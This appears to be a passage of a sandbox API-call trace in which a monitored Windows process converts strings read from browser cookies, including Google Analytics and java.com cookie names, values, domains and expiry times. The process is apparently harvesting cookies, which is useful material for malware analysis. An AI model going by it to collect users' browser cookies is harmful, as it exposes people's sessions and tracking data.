lpWideCharStr=".google.deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1c90, cbMultiByte=16, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 16 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498819260hrome/browser/deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024530, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmt98819260hrome/browser/deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1640, cbMultiByte=1, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="1ṽ䔰ἂ__utmt98819260hrome/browser/deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.deogle|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025bd8, cbMultiByte=32, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/intl/de/chrome/browser/privacy/rganic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 32 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEintl/de/chrome/browser/privacy/rganic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890660ntl/de/chrome/browser/privacy/rganic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a78, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utma61890660ntl/de/chrome/browser/privacy/rganic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2c64, cbMultiByte=55, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.1877047254.1498818412.1498818412.1498818412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 55 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.de98818412.1498818412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.de98818412.1498818412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf6148, cbMultiByte=32, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/intl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 32 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEintl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498820460ntl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmb98820460ntl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3670, cbMultiByte=25, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.2.10.1498818412chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 25 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.deowser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.deowser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025bd8, cbMultiByte=32, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/intl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 32 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEintl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1514586660ntl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024530, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmz14586660ntl/de/chrome/browser/privacy/18412.1|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=117, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.1498818412.1.1.utmcsr=google.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 117 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.deogle.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.deogle.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1c90, cbMultiByte=16, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/deogle.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 16 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/deogle.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890662hrome/browser/deogle.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a78, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utma61890662hrome/browser/deogle.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2c64, cbMultiByte=54, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.551835800.1498818661.1498818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 54 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=16, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 16 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498820462hrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmb98820462hrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3670, cbMultiByte=27, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.2.9.1498818662278wser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 27 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1c90, cbMultiByte=16, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 16 [0163.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1514586662hrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024530, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmz14586662hrome/browser/de8818661.1498818661.1rral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=70, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.1498818661.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 70 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=9, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 9 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2134, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1501410941@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a78, cbMultiByte=4, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="s_nr1501410941@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07184, cbMultiByte=13, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="149881894172510941@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 13 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=9, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 9 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcee718, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498820741@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="gpName98820741@TRUE.java.comdirect)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd071a0, cbMultiByte=39, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="javac%3AVerify%3AInstalled_JRE_Homepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 39 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=9, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 9 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e01bc, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498820741@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=9, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="gpChannel20741@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 9 [0163.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd071d4, cbMultiByte=14, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="javac%3AVerify0741@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 14 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd071f0, cbMultiByte=9, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 9 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: 